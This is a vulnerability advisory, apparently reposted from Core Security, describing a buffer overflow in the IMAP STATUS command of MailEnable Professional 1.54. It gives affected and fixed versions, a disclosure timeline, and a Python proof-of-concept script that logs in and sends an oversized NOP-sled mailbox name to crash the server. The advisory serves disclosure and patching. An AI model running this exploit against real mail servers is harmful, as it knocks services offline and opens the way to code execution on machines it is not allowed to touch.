[NT] MailEnable STATUS Command Buffer Overflow

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  MailEnable STATUS Command Buffer Overflow
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SUMMARY

" <http://www.mailenable.com/> MailEnable is a mail server software which 
provides a messaging platform for Microsoft Windows."

A buffer overflow in the MailEnable's STATUS command support allows 
attackers to execute arbitrary code with elevated privileges.

DETAILS

Vulnerable Systems:
 * MailEnable Professional edition version 1.54

Immune Systems:
 * MailEnable Professional edition version 1.6

MailEnable's support for IMAP status command can be exploited to cause the 
product to overflow an internal buffer, the following exploit code will 
overflow the buffer with a NOP sled.

Proof of Concept:
#
# POC about imapd mailenable bug in status command
#

import sys
import imaplib

class poc:

    def __init__(self,host,loginimap,passimap):
        self.host=host
        self.loginimap=loginimap
        self.passimap=passimap

    def exploit(self):
        print "Please wait"
        
        connect = imaplib.IMAP4(self.host)
        connect.login(self.loginimap,self.passimap)
        nops='\x00'
        nops+='\x90'*10540
        try:
            typ, data = connect.status(nops,'(UIDNEXT UIDVALIDITY MESSAGES 
UNSEEN RECENT)')
        except Exception,e:
            print "Service down!"
        return 0

if(len(sys.argv) < 4):
    print "Need 3 arguments, ./poc.py host user pass"
    sys.exit(1)

exp=poc(sys.argv[1],sys.argv[2],sys.argv[3])
exp.exploit()

#EoF

Disclosure Timeline:
2005-06-30: Notification to vendor.
2005-06-30: Vendor acknowledged notification and provided a fix.
2005-07-12: Public Disclosure.


ADDITIONAL INFORMATION

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Core Security Technologies .
The original article can be found at:  
<http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10> 
http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10



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